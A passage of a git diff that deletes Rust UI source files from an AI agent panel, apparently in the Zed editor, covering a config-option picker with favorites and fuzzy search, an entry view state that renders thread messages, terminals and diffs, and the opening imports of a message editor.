-        .with_handle(self.picker_handle.clone())
-        .render(window, cx)
-        .into_any_element()
-    }
-}
-
-#[derive(Clone)]
-enum ConfigOptionPickerEntry {
-    Separator(SharedString),
-    Option(ConfigOptionValue),
-}
-
-#[derive(Clone)]
-struct ConfigOptionValue {
-    value: acp::SessionConfigValueId,
-    name: String,
-    description: Option<String>,
-    group: Option<String>,
-}
-
-struct ConfigOptionPickerDelegate {
-    config_options: Rc<dyn AgentSessionConfigOptions>,
-    config_id: acp::SessionConfigId,
-    agent_server: Rc<dyn AgentServer>,
-    fs: Arc<dyn Fs>,
-    filtered_entries: Vec<ConfigOptionPickerEntry>,
-    all_options: Vec<ConfigOptionValue>,
-    selected_index: usize,
-    selected_description: Option<(usize, SharedString, bool)>,
-    favorites: HashSet<acp::SessionConfigValueId>,
-    _settings_subscription: Subscription,
-}
-
-impl ConfigOptionPickerDelegate {
-    fn new(
-        config_options: Rc<dyn AgentSessionConfigOptions>,
-        config_id: acp::SessionConfigId,
-        agent_server: Rc<dyn AgentServer>,
-        fs: Arc<dyn Fs>,
-        window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Self {
-        let favorites = agent_server.favorite_config_option_value_ids(&config_id, cx);
-
-        let all_options = extract_options(&config_options, &config_id);
-        let filtered_entries = options_to_picker_entries(&all_options, &favorites);
-
-        let current_value = get_current_value(&config_options, &config_id);
-        let selected_index = current_value
-            .and_then(|current| {
-                filtered_entries.iter().position(|entry| {
-                    matches!(entry, ConfigOptionPickerEntry::Option(opt) if opt.value == current)
-                })
-            })
-            .unwrap_or(0);
-
-        let agent_server_for_subscription = agent_server.clone();
-        let config_id_for_subscription = config_id.clone();
-        let settings_subscription =
-            cx.observe_global_in::<SettingsStore>(window, move |picker, window, cx| {
-                let new_favorites = agent_server_for_subscription
-                    .favorite_config_option_value_ids(&config_id_for_subscription, cx);
-                if new_favorites != picker.delegate.favorites {
-                    picker.delegate.favorites = new_favorites;
-                    picker.refresh(window, cx);
-                }
-            });
-
-        cx.notify();
-
-        Self {
-            config_options,
-            config_id,
-            agent_server,
-            fs,
-            filtered_entries,
-            all_options,
-            selected_index,
-            selected_description: None,
-            favorites,
-            _settings_subscription: settings_subscription,
-        }
-    }
-
-    fn current_value(&self) -> Option<acp::SessionConfigValueId> {
-        get_current_value(&self.config_options, &self.config_id)
-    }
-}
-
-impl PickerDelegate for ConfigOptionPickerDelegate {
-    type ListItem = AnyElement;
-
-    fn match_count(&self) -> usize {
-        self.filtered_entries.len()
-    }
-
-    fn selected_index(&self) -> usize {
-        self.selected_index
-    }
-
-    fn set_selected_index(&mut self, ix: usize, _: &mut Window, cx: &mut Context<Picker<Self>>) {
-        self.selected_index = ix.min(self.filtered_entries.len().saturating_sub(1));
-        cx.notify();
-    }
-
-    fn can_select(
-        &mut self,
-        ix: usize,
-        _window: &mut Window,
-        _cx: &mut Context<Picker<Self>>,
-    ) -> bool {
-        match self.filtered_entries.get(ix) {
-            Some(ConfigOptionPickerEntry::Option(_)) => true,
-            Some(ConfigOptionPickerEntry::Separator(_)) | None => false,
-        }
-    }
-
-    fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
-        "Select an option…".into()
-    }
-
-    fn update_matches(
-        &mut self,
-        query: String,
-        window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Task<()> {
-        let all_options = self.all_options.clone();
-
-        cx.spawn_in(window, async move |this, cx| {
-            let filtered_options = match this
-                .read_with(cx, |_, cx| {
-                    if query.is_empty() {
-                        None
-                    } else {
-                        Some((all_options.clone(), query.clone(), cx.background_executor().clone()))
-                    }
-                })
-                .ok()
-                .flatten()
-            {
-                Some((options, q, executor)) => fuzzy_search_options(options, &q, executor).await,
-                None => all_options,
-            };
-
-            this.update_in(cx, |this, window, cx| {
-                this.delegate.filtered_entries =
-                    options_to_picker_entries(&filtered_options, &this.delegate.favorites);
-
-                let current_value = this.delegate.current_value();
-                let new_index = current_value
-                    .and_then(|current| {
-                        this.delegate.filtered_entries.iter().position(|entry| {
-                            matches!(entry, ConfigOptionPickerEntry::Option(opt) if opt.value == current)
-                        })
-                    })
-                    .unwrap_or(0);
-
-                this.set_selected_index(new_index, Some(picker::Direction::Down), true, window, cx);
-                cx.notify();
-            })
-            .ok();
-        })
-    }
-
-    fn confirm(&mut self, _secondary: bool, window: &mut Window, cx: &mut Context<Picker<Self>>) {
-        if let Some(ConfigOptionPickerEntry::Option(option)) =
-            self.filtered_entries.get(self.selected_index)
-        {
-            if window.modifiers().secondary() {
-                let default_value = self
-                    .agent_server
-                    .default_config_option(self.config_id.0.as_ref(), cx);
-                let is_default = default_value.as_deref() == Some(&*option.value.0);
-
-                self.agent_server.set_default_config_option(
-                    self.config_id.0.as_ref(),
-                    if is_default {
-                        None
-                    } else {
-                        Some(option.value.0.as_ref())
-                    },
-                    self.fs.clone(),
-                    cx,
-                );
-            }
-
-            let task = self.config_options.set_config_option(
-                self.config_id.clone(),
-                option.value.clone(),
-                cx,
-            );
-
-            cx.spawn(async move |_, _| {
-                if let Err(err) = task.await {
-                    log::error!("Failed to set config option: {:?}", err);
-                }
-            })
-            .detach();
-
-            cx.emit(DismissEvent);
-        }
-    }
-
-    fn dismissed(&mut self, window: &mut Window, cx: &mut Context<Picker<Self>>) {
-        cx.defer_in(window, |picker, window, cx| {
-            picker.set_query("", window, cx);
-        });
-    }
-
-    fn render_match(
-        &self,
-        ix: usize,
-        selected: bool,
-        _: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Option<Self::ListItem> {
-        match self.filtered_entries.get(ix)? {
-            ConfigOptionPickerEntry::Separator(title) => Some(
-                div()
-                    .when(ix > 0, |this| this.mt_1())
-                    .child(
-                        div()
-                            .px_2()
-                            .py_1()
-                            .text_xs()
-                            .text_color(cx.theme().colors().text_muted)
-                            .child(title.clone()),
-                    )
-                    .into_any_element(),
-            ),
-            ConfigOptionPickerEntry::Option(option) => {
-                let current_value = self.current_value();
-                let is_selected = current_value.as_ref() == Some(&option.value);
-
-                let default_value = self
-                    .agent_server
-                    .default_config_option(self.config_id.0.as_ref(), cx);
-                let is_default = default_value.as_deref() == Some(&*option.value.0);
-
-                let is_favorite = self.favorites.contains(&option.value);
-
-                let option_name = option.name.clone();
-                let description = option.description.clone();
-
-                Some(
-                    div()
-                        .id(("config-option-picker-item", ix))
-                        .when_some(description, |this, desc| {
-                            let desc: SharedString = desc.into();
-                            this.on_hover(cx.listener(move |menu, hovered, _, cx| {
-                                if *hovered {
-                                    menu.delegate.selected_description =
-                                        Some((ix, desc.clone(), is_default));
-                                } else if matches!(menu.delegate.selected_description, Some((id, _, _)) if id == ix)
-                                {
-                                    menu.delegate.selected_description = None;
-                                }
-                                cx.notify();
-                            }))
-                        })
-                        .child(
-                            ListItem::new(ix)
-                                .inset(true)
-                                .spacing(ListItemSpacing::Sparse)
-                                .toggle_state(selected)
-                                .child(h_flex().w_full().child(Label::new(option_name).truncate()))
-                                .end_slot(div().pr_2().when(is_selected, |this| {
-                                    this.child(Icon::new(IconName::Check).color(Color::Accent))
-                                }))
-                                .end_hover_slot(div().pr_1p5().child({
-                                    let (icon, color, tooltip) = if is_favorite {
-                                        (IconName::StarFilled, Color::Accent, "Unfavorite")
-                                    } else {
-                                        (IconName::Star, Color::Default, "Favorite")
-                                    };
-
-                                    let config_id = self.config_id.clone();
-                                    let value_id = option.value.clone();
-                                    let agent_server = self.agent_server.clone();
-                                    let fs = self.fs.clone();
-
-                                    IconButton::new(("toggle-favorite-config-option", ix), icon)
-                                        .layer(ElevationIndex::ElevatedSurface)
-                                        .icon_color(color)
-                                        .icon_size(IconSize::Small)
-                                        .tooltip(Tooltip::text(tooltip))
-                                        .on_click(move |_, _, cx| {
-                                            agent_server.toggle_favorite_config_option_value(
-                                                config_id.clone(),
-                                                value_id.clone(),
-                                                !is_favorite,
-                                                fs.clone(),
-                                                cx,
-                                            );
-                                        })
-                                })),
-                        )
-                        .into_any_element(),
-                )
-            }
-        }
-    }
-
-    fn documentation_aside(
-        &self,
-        _window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Option<ui::DocumentationAside> {
-        self.selected_description
-            .as_ref()
-            .map(|(_, description, is_default)| {
-                let description = description.clone();
-                let is_default = *is_default;
-
-                let settings = AgentSettings::get_global(cx);
-                let side = match settings.dock {
-                    settings::DockPosition::Left => DocumentationSide::Right,
-                    settings::DockPosition::Bottom | settings::DockPosition::Right => {
-                        DocumentationSide::Left
-                    }
-                };
-
-                ui::DocumentationAside::new(
-                    side,
-                    Rc::new(move |_| {
-                        v_flex()
-                            .gap_1()
-                            .child(Label::new(description.clone()))
-                            .child(HoldForDefault::new(is_default))
-                            .into_any_element()
-                    }),
-                )
-            })
-    }
-
-    fn documentation_aside_index(&self) -> Option<usize> {
-        self.selected_description.as_ref().map(|(ix, _, _)| *ix)
-    }
-}
-
-fn extract_options(
-    config_options: &Rc<dyn AgentSessionConfigOptions>,
-    config_id: &acp::SessionConfigId,
-) -> Vec<ConfigOptionValue> {
-    let Some(option) = config_options
-        .config_options()
-        .into_iter()
-        .find(|opt| &opt.id == config_id)
-    else {
-        return Vec::new();
-    };
-
-    match &option.kind {
-        acp::SessionConfigKind::Select(select) => match &select.options {
-            acp::SessionConfigSelectOptions::Ungrouped(options) => options
-                .iter()
-                .map(|opt| ConfigOptionValue {
-                    value: opt.value.clone(),
-                    name: opt.name.clone(),
-                    description: opt.description.clone(),
-                    group: None,
-                })
-                .collect(),
-            acp::SessionConfigSelectOptions::Grouped(groups) => groups
-                .iter()
-                .flat_map(|group| {
-                    group.options.iter().map(|opt| ConfigOptionValue {
-                        value: opt.value.clone(),
-                        name: opt.name.clone(),
-                        description: opt.description.clone(),
-                        group: Some(group.name.clone()),
-                    })
-                })
-                .collect(),
-            _ => Vec::new(),
-        },
-        _ => Vec::new(),
-    }
-}
-
-fn get_current_value(
-    config_options: &Rc<dyn AgentSessionConfigOptions>,
-    config_id: &acp::SessionConfigId,
-) -> Option<acp::SessionConfigValueId> {
-    config_options
-        .config_options()
-        .into_iter()
-        .find(|opt| &opt.id == config_id)
-        .and_then(|opt| match &opt.kind {
-            acp::SessionConfigKind::Select(select) => Some(select.current_value.clone()),
-            _ => None,
-        })
-}
-
-fn options_to_picker_entries(
-    options: &[ConfigOptionValue],
-    favorites: &HashSet<acp::SessionConfigValueId>,
-) -> Vec<ConfigOptionPickerEntry> {
-    let mut entries = Vec::new();
-
-    let mut favorite_options = Vec::new();
-
-    for option in options {
-        if favorites.contains(&option.value) {
-            favorite_options.push(option.clone());
-        }
-    }
-
-    if !favorite_options.is_empty() {
-        entries.push(ConfigOptionPickerEntry::Separator("Favorites".into()));
-        for option in favorite_options {
-            entries.push(ConfigOptionPickerEntry::Option(option));
-        }
-
-        // If the remaining list would start ungrouped (group == None), insert a separator so
-        // Favorites doesn't visually run into the main list.
-        if let Some(option) = options.first()
-            && option.group.is_none()
-        {
-            entries.push(ConfigOptionPickerEntry::Separator("All Options".into()));
-        }
-    }
-
-    let mut current_group: Option<String> = None;
-    for option in options {
-        if option.group != current_group {
-            if let Some(group_name) = &option.group {
-                entries.push(ConfigOptionPickerEntry::Separator(
-                    group_name.clone().into(),
-                ));
-            }
-            current_group = option.group.clone();
-        }
-        entries.push(ConfigOptionPickerEntry::Option(option.clone()));
-    }
-
-    entries
-}
-
-async fn fuzzy_search_options(
-    options: Vec<ConfigOptionValue>,
-    query: &str,
-    executor: BackgroundExecutor,
-) -> Vec<ConfigOptionValue> {
-    let candidates = options
-        .iter()
-        .enumerate()
-        .map(|(ix, opt)| StringMatchCandidate::new(ix, &opt.name))
-        .collect::<Vec<_>>();
-
-    let mut matches = fuzzy::match_strings(
-        &candidates,
-        query,
-        false,
-        true,
-        100,
-        &Default::default(),
-        executor,
-    )
-    .await;
-
-    matches.sort_unstable_by_key(|mat| {
-        let candidate = &candidates[mat.candidate_id];
-        (Reverse(OrderedFloat(mat.score)), candidate.id)
-    });
-
-    matches
-        .into_iter()
-        .map(|mat| options[mat.candidate_id].clone())
-        .collect()
-}
-
-fn find_option_name(
-    options: &acp::SessionConfigSelectOptions,
-    value_id: &acp::SessionConfigValueId,
-) -> Option<String> {
-    match options {
-        acp::SessionConfigSelectOptions::Ungrouped(opts) => opts
-            .iter()
-            .find(|o| &o.value == value_id)
-            .map(|o| o.name.clone()),
-        acp::SessionConfigSelectOptions::Grouped(groups) => groups.iter().find_map(|group| {
-            group
-                .options
-                .iter()
-                .find(|o| &o.value == value_id)
-                .map(|o| o.name.clone())
-        }),
-        _ => None,
-    }
-}
-
-fn count_config_options(option: &acp::SessionConfigOption) -> usize {
-    match &option.kind {
-        acp::SessionConfigKind::Select(select) => match &select.options {
-            acp::SessionConfigSelectOptions::Ungrouped(options) => options.len(),
-            acp::SessionConfigSelectOptions::Grouped(groups) => {
-                groups.iter().map(|g| g.options.len()).sum()
-            }
-            _ => 0,
-        },
-        _ => 0,
-    }
-}
diff --git a/crates/agent_ui/src/acp/entry_view_state.rs b/crates/agent_ui/src/acp/entry_view_state.rs
deleted file mode 100644
index 353e1168c8a685..00000000000000
--- a/crates/agent_ui/src/acp/entry_view_state.rs
+++ /dev/null
@@ -1,540 +0,0 @@
-use std::{cell::RefCell, ops::Range, rc::Rc};
-
-use super::thread_history::AcpThreadHistory;
-use acp_thread::{AcpThread, AgentThreadEntry};
-use agent::ThreadStore;
-use agent_client_protocol::{self as acp, ToolCallId};
-use collections::HashMap;
-use editor::{Editor, EditorMode, MinimapVisibility, SizingBehavior};
-use gpui::{
-    AnyEntity, App, AppContext as _, Entity, EntityId, EventEmitter, FocusHandle, Focusable,
-    ScrollHandle, SharedString, TextStyleRefinement, WeakEntity, Window,
-};
-use language::language_settings::SoftWrap;
-use project::Project;
-use prompt_store::PromptStore;
-use settings::Settings as _;
-use terminal_view::TerminalView;
-use theme::ThemeSettings;
-use ui::{Context, TextSize};
-use workspace::Workspace;
-
-use crate::acp::message_editor::{MessageEditor, MessageEditorEvent};
-
-pub struct EntryViewState {
-    workspace: WeakEntity<Workspace>,
-    project: WeakEntity<Project>,
-    thread_store: Option<Entity<ThreadStore>>,
-    history: WeakEntity<AcpThreadHistory>,
-    prompt_store: Option<Entity<PromptStore>>,
-    entries: Vec<Entry>,
-    prompt_capabilities: Rc<RefCell<acp::PromptCapabilities>>,
-    available_commands: Rc<RefCell<Vec<acp::AvailableCommand>>>,
-    agent_name: SharedString,
-}
-
-impl EntryViewState {
-    pub fn new(
-        workspace: WeakEntity<Workspace>,
-        project: WeakEntity<Project>,
-        thread_store: Option<Entity<ThreadStore>>,
-        history: WeakEntity<AcpThreadHistory>,
-        prompt_store: Option<Entity<PromptStore>>,
-        prompt_capabilities: Rc<RefCell<acp::PromptCapabilities>>,
-        available_commands: Rc<RefCell<Vec<acp::AvailableCommand>>>,
-        agent_name: SharedString,
-    ) -> Self {
-        Self {
-            workspace,
-            project,
-            thread_store,
-            history,
-            prompt_store,
-            entries: Vec::new(),
-            prompt_capabilities,
-            available_commands,
-            agent_name,
-        }
-    }
-
-    pub fn entry(&self, index: usize) -> Option<&Entry> {
-        self.entries.get(index)
-    }
-
-    pub fn sync_entry(
-        &mut self,
-        index: usize,
-        thread: &Entity<AcpThread>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(thread_entry) = thread.read(cx).entries().get(index) else {
-            return;
-        };
-
-        match thread_entry {
-            AgentThreadEntry::UserMessage(message) => {
-                let has_id = message.id.is_some();
-                let is_subagent = thread.read(cx).parent_session_id().is_some();
-                let chunks = message.chunks.clone();
-                if let Some(Entry::UserMessage(editor)) = self.entries.get_mut(index) {
-                    if !editor.focus_handle(cx).is_focused(window) {
-                        // Only update if we are not editing.
-                        // If we are, cancelling the edit will set the message to the newest content.
-                        editor.update(cx, |editor, cx| {
-                            editor.set_message(chunks, window, cx);
-                        });
-                    }
-                } else {
-                    let message_editor = cx.new(|cx| {
-                        let mut editor = MessageEditor::new(
-                            self.workspace.clone(),
-                            self.project.clone(),
-                            self.thread_store.clone(),
-                            self.history.clone(),
-                            self.prompt_store.clone(),
-                            self.prompt_capabilities.clone(),
-                            self.available_commands.clone(),
-                            self.agent_name.clone(),
-                            "Edit message － @ to include context",
-                            editor::EditorMode::AutoHeight {
-                                min_lines: 1,
-                                max_lines: None,
-                            },
-                            window,
-                            cx,
-                        );
-                        if !has_id || is_subagent {
-                            editor.set_read_only(true, cx);
-                        }
-                        editor.set_message(chunks, window, cx);
-                        editor
-                    });
-                    cx.subscribe(&message_editor, move |_, editor, event, cx| {
-                        cx.emit(EntryViewEvent {
-                            entry_index: index,
-                            view_event: ViewEvent::MessageEditorEvent(editor, *event),
-                        })
-                    })
-                    .detach();
-                    self.set_entry(index, Entry::UserMessage(message_editor));
-                }
-            }
-            AgentThreadEntry::ToolCall(tool_call) => {
-                let id = tool_call.id.clone();
-                let terminals = tool_call.terminals().cloned().collect::<Vec<_>>();
-                let diffs = tool_call.diffs().cloned().collect::<Vec<_>>();
-
-                let views = if let Some(Entry::Content(views)) = self.entries.get_mut(index) {
-                    views
-                } else {
-                    self.set_entry(index, Entry::empty());
-                    let Some(Entry::Content(views)) = self.entries.get_mut(index) else {
-                        unreachable!()
-                    };
-                    views
-                };
-
-                let is_tool_call_completed =
-                    matches!(tool_call.status, acp_thread::ToolCallStatus::Completed);
-
-                for terminal in terminals {
-                    match views.entry(terminal.entity_id()) {
-                        collections::hash_map::Entry::Vacant(entry) => {
-                            let element = create_terminal(
-                                self.workspace.clone(),
-                                self.project.clone(),
-                                terminal.clone(),
-                                window,
-                                cx,
-                            )
-                            .into_any();
-                            cx.emit(EntryViewEvent {
-                                entry_index: index,
-                                view_event: ViewEvent::NewTerminal(id.clone()),
-                            });
-                            entry.insert(element);
-                        }
-                        collections::hash_map::Entry::Occupied(_entry) => {
-                            if is_tool_call_completed && terminal.read(cx).output().is_none() {
-                                cx.emit(EntryViewEvent {
-                                    entry_index: index,
-                                    view_event: ViewEvent::TerminalMovedToBackground(id.clone()),
-                                });
-                            }
-                        }
-                    }
-                }
-
-                for diff in diffs {
-                    views.entry(diff.entity_id()).or_insert_with(|| {
-                        let element = create_editor_diff(diff.clone(), window, cx).into_any();
-                        cx.emit(EntryViewEvent {
-                            entry_index: index,
-                            view_event: ViewEvent::NewDiff(id.clone()),
-                        });
-                        element
-                    });
-                }
-            }
-            AgentThreadEntry::AssistantMessage(message) => {
-                let entry = if let Some(Entry::AssistantMessage(entry)) =
-                    self.entries.get_mut(index)
-                {
-                    entry
-                } else {
-                    self.set_entry(
-                        index,
-                        Entry::AssistantMessage(AssistantMessageEntry::default()),
-                    );
-                    let Some(Entry::AssistantMessage(entry)) = self.entries.get_mut(index) else {
-                        unreachable!()
-                    };
-                    entry
-                };
-                entry.sync(message);
-            }
-        };
-    }
-
-    fn set_entry(&mut self, index: usize, entry: Entry) {
-        if index == self.entries.len() {
-            self.entries.push(entry);
-        } else {
-            self.entries[index] = entry;
-        }
-    }
-
-    pub fn remove(&mut self, range: Range<usize>) {
-        self.entries.drain(range);
-    }
-
-    pub fn agent_ui_font_size_changed(&mut self, cx: &mut App) {
-        for entry in self.entries.iter() {
-            match entry {
-                Entry::UserMessage { .. } | Entry::AssistantMessage { .. } => {}
-                Entry::Content(response_views) => {
-                    for view in response_views.values() {
-                        if let Ok(diff_editor) = view.clone().downcast::<Editor>() {
-                            diff_editor.update(cx, |diff_editor, cx| {
-                                diff_editor.set_text_style_refinement(
-                                    diff_editor_text_style_refinement(cx),
-                                );
-                                cx.notify();
-                            })
-                        }
-                    }
-                }
-            }
-        }
-    }
-}
-
-impl EventEmitter<EntryViewEvent> for EntryViewState {}
-
-pub struct EntryViewEvent {
-    pub entry_index: usize,
-    pub view_event: ViewEvent,
-}
-
-pub enum ViewEvent {
-    NewDiff(ToolCallId),
-    NewTerminal(ToolCallId),
-    TerminalMovedToBackground(ToolCallId),
-    MessageEditorEvent(Entity<MessageEditor>, MessageEditorEvent),
-}
-
-#[derive(Default, Debug)]
-pub struct AssistantMessageEntry {
-    scroll_handles_by_chunk_index: HashMap<usize, ScrollHandle>,
-}
-
-impl AssistantMessageEntry {
-    pub fn scroll_handle_for_chunk(&self, ix: usize) -> Option<ScrollHandle> {
-        self.scroll_handles_by_chunk_index.get(&ix).cloned()
-    }
-
-    pub fn sync(&mut self, message: &acp_thread::AssistantMessage) {
-        if let Some(acp_thread::AssistantMessageChunk::Thought { .. }) = message.chunks.last() {
-            let ix = message.chunks.len() - 1;
-            let handle = self.scroll_handles_by_chunk_index.entry(ix).or_default();
-            handle.scroll_to_bottom();
-        }
-    }
-}
-
-#[derive(Debug)]
-pub enum Entry {
-    UserMessage(Entity<MessageEditor>),
-    AssistantMessage(AssistantMessageEntry),
-    Content(HashMap<EntityId, AnyEntity>),
-}
-
-impl Entry {
-    pub fn focus_handle(&self, cx: &App) -> Option<FocusHandle> {
-        match self {
-            Self::UserMessage(editor) => Some(editor.read(cx).focus_handle(cx)),
-            Self::AssistantMessage(_) | Self::Content(_) => None,
-        }
-    }
-
-    pub fn message_editor(&self) -> Option<&Entity<MessageEditor>> {
-        match self {
-            Self::UserMessage(editor) => Some(editor),
-            Self::AssistantMessage(_) | Self::Content(_) => None,
-        }
-    }
-
-    pub fn editor_for_diff(&self, diff: &Entity<acp_thread::Diff>) -> Option<Entity<Editor>> {
-        self.content_map()?
-            .get(&diff.entity_id())
-            .cloned()
-            .map(|entity| entity.downcast::<Editor>().unwrap())
-    }
-
-    pub fn terminal(
-        &self,
-        terminal: &Entity<acp_thread::Terminal>,
-    ) -> Option<Entity<TerminalView>> {
-        self.content_map()?
-            .get(&terminal.entity_id())
-            .cloned()
-            .map(|entity| entity.downcast::<TerminalView>().unwrap())
-    }
-
-    pub fn scroll_handle_for_assistant_message_chunk(
-        &self,
-        chunk_ix: usize,
-    ) -> Option<ScrollHandle> {
-        match self {
-            Self::AssistantMessage(message) => message.scroll_handle_for_chunk(chunk_ix),
-            Self::UserMessage(_) | Self::Content(_) => None,
-        }
-    }
-
-    fn content_map(&self) -> Option<&HashMap<EntityId, AnyEntity>> {
-        match self {
-            Self::Content(map) => Some(map),
-            _ => None,
-        }
-    }
-
-    fn empty() -> Self {
-        Self::Content(HashMap::default())
-    }
-
-    #[cfg(test)]
-    pub fn has_content(&self) -> bool {
-        match self {
-            Self::Content(map) => !map.is_empty(),
-            Self::UserMessage(_) | Self::AssistantMessage(_) => false,
-        }
-    }
-}
-
-fn create_terminal(
-    workspace: WeakEntity<Workspace>,
-    project: WeakEntity<Project>,
-    terminal: Entity<acp_thread::Terminal>,
-    window: &mut Window,
-    cx: &mut App,
-) -> Entity<TerminalView> {
-    cx.new(|cx| {
-        let mut view = TerminalView::new(
-            terminal.read(cx).inner().clone(),
-            workspace,
-            None,
-            project,
-            window,
-            cx,
-        );
-        view.set_embedded_mode(Some(1000), cx);
-        view
-    })
-}
-
-fn create_editor_diff(
-    diff: Entity<acp_thread::Diff>,
-    window: &mut Window,
-    cx: &mut App,
-) -> Entity<Editor> {
-    cx.new(|cx| {
-        let mut editor = Editor::new(
-            EditorMode::Full {
-                scale_ui_elements_with_buffer_font_size: false,
-                show_active_line_background: false,
-                sizing_behavior: SizingBehavior::SizeByContent,
-            },
-            diff.read(cx).multibuffer().clone(),
-            None,
-            window,
-            cx,
-        );
-        editor.set_show_gutter(false, cx);
-        editor.disable_inline_diagnostics();
-        editor.disable_expand_excerpt_buttons(cx);
-        editor.set_show_vertical_scrollbar(false, cx);
-        editor.set_minimap_visibility(MinimapVisibility::Disabled, window, cx);
-        editor.set_soft_wrap_mode(SoftWrap::None, cx);
-        editor.scroll_manager.set_forbid_vertical_scroll(true);
-        editor.set_show_indent_guides(false, cx);
-        editor.set_read_only(true);
-        editor.set_show_breakpoints(false, cx);
-        editor.set_show_code_actions(false, cx);
-        editor.set_show_git_diff_gutter(false, cx);
-        editor.set_expand_all_diff_hunks(cx);
-        editor.set_text_style_refinement(diff_editor_text_style_refinement(cx));
-        editor
-    })
-}
-
-fn diff_editor_text_style_refinement(cx: &mut App) -> TextStyleRefinement {
-    TextStyleRefinement {
-        font_size: Some(
-            TextSize::Small
-                .rems(cx)
-                .to_pixels(ThemeSettings::get_global(cx).agent_ui_font_size(cx))
-                .into(),
-        ),
-        ..Default::default()
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use std::path::Path;
-    use std::rc::Rc;
-
-    use acp_thread::{AgentConnection, StubAgentConnection};
-    use agent_client_protocol as acp;
-    use buffer_diff::{DiffHunkStatus, DiffHunkStatusKind};
-    use editor::RowInfo;
-    use fs::FakeFs;
-    use gpui::{AppContext as _, TestAppContext};
-
-    use crate::acp::entry_view_state::EntryViewState;
-    use multi_buffer::MultiBufferRow;
-    use pretty_assertions::assert_matches;
-    use project::Project;
-    use serde_json::json;
-    use settings::SettingsStore;
-    use util::path;
-    use workspace::MultiWorkspace;
-
-    #[gpui::test]
-    async fn test_diff_sync(cx: &mut TestAppContext) {
-        init_test(cx);
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            json!({
-                "hello.txt": "hi world"
-            }),
-        )
-        .await;
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let tool_call = acp::ToolCall::new("tool", "Tool call")
-            .status(acp::ToolCallStatus::InProgress)
-            .content(vec![acp::ToolCallContent::Diff(
-                acp::Diff::new("/project/hello.txt", "hello world").old_text("hi world"),
-            )]);
-        let connection = Rc::new(StubAgentConnection::new());
-        let thread = cx
-            .update(|_, cx| {
-                connection
-                    .clone()
-                    .new_session(project.clone(), Path::new(path!("/project")), cx)
-            })
-            .await
-            .unwrap();
-        let session_id = thread.update(cx, |thread, _| thread.session_id().clone());
-
-        cx.update(|_, cx| {
-            connection.send_update(session_id, acp::SessionUpdate::ToolCall(tool_call), cx)
-        });
-
-        let thread_store = None;
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let view_state = cx.new(|_cx| {
-            EntryViewState::new(
-                workspace.downgrade(),
-                project.downgrade(),
-                thread_store,
-                history.downgrade(),
-                None,
-                Default::default(),
-                Default::default(),
-                "Test Agent".into(),
-            )
-        });
-
-        view_state.update_in(cx, |view_state, window, cx| {
-            view_state.sync_entry(0, &thread, window, cx)
-        });
-
-        let diff = thread.read_with(cx, |thread, _| {
-            thread
-                .entries()
-                .get(0)
-                .unwrap()
-                .diffs()
-                .next()
-                .unwrap()
-                .clone()
-        });
-
-        cx.run_until_parked();
-
-        let diff_editor = view_state.read_with(cx, |view_state, _cx| {
-            view_state.entry(0).unwrap().editor_for_diff(&diff).unwrap()
-        });
-        assert_eq!(
-            diff_editor.read_with(cx, |editor, cx| editor.text(cx)),
-            "hi world\nhello world"
-        );
-        let row_infos = diff_editor.read_with(cx, |editor, cx| {
-            let multibuffer = editor.buffer().read(cx);
-            multibuffer
-                .snapshot(cx)
-                .row_infos(MultiBufferRow(0))
-                .collect::<Vec<_>>()
-        });
-        assert_matches!(
-            row_infos.as_slice(),
-            [
-                RowInfo {
-                    multibuffer_row: Some(MultiBufferRow(0)),
-                    diff_status: Some(DiffHunkStatus {
-                        kind: DiffHunkStatusKind::Deleted,
-                        ..
-                    }),
-                    ..
-                },
-                RowInfo {
-                    multibuffer_row: Some(MultiBufferRow(1)),
-                    diff_status: Some(DiffHunkStatus {
-                        kind: DiffHunkStatusKind::Added,
-                        ..
-                    }),
-                    ..
-                }
-            ]
-        );
-    }
-
-    fn init_test(cx: &mut TestAppContext) {
-        cx.update(|cx| {
-            let settings_store = SettingsStore::test(cx);
-            cx.set_global(settings_store);
-            theme::init(theme::LoadThemes::JustBase, cx);
-            release_channel::init(semver::Version::new(0, 0, 0), cx);
-        });
-    }
-}
diff --git a/crates/agent_ui/src/acp/message_editor.rs b/crates/agent_ui/src/acp/message_editor.rs
deleted file mode 100644
index 6710969bd89b3e..00000000000000
--- a/crates/agent_ui/src/acp/message_editor.rs
+++ /dev/null
@@ -1,3460 +0,0 @@
-use crate::SendImmediately;
-use crate::acp::AcpThreadHistory;
-use crate::{
-    ChatWithFollow,
-    completion_provider::{
-        PromptCompletionProvider, PromptCompletionProviderDelegate, PromptContextAction,
-        PromptContextType, SlashCommandCompletion,
-    },
-    mention_set::{
-        Mention, MentionImage, MentionSet, insert_crease_for_mention, paste_images_as_context,
-    },
-};
-use acp_thread::{AgentSessionInfo, MentionUri};
-use agent::ThreadStore;
-use agent_client_protocol as acp;
-use anyhow::{Result, anyhow};
-use collections::HashSet;
-use editor::{
-    Addon, AnchorRangeExt, ContextMenuOptions, ContextMenuPlacement, Editor, EditorElement,
-    EditorEvent, EditorMode, EditorStyle, Inlay, MultiBuffer, MultiBufferOffset,
-    MultiBufferSnapshot, ToOffset, actions::Paste, code_context_menus::CodeContextMenu,
-    scroll::Autoscroll,
-};
-use futures::{FutureExt as _, future::join_all};
-use gpui::{
-    AppContext, ClipboardEntry, Context, Entity, EventEmitter, FocusHandle, Focusable, ImageFormat,
-    KeyContext, SharedString, Subscription, Task, TextStyle, WeakEntity,
-};
-use language::{Buffer, Language, language_settings::InlayHintKind};
-use project::{CompletionIntent, InlayHint, InlayHintLabel, InlayId, Project, Worktree};
-use prompt_store::PromptStore;
-use rope::Point;
-use settings::Settings;
-use std::{cell::RefCell, fmt::Write, ops::Range, rc::Rc, sync::Arc};
-use theme::ThemeSettings;
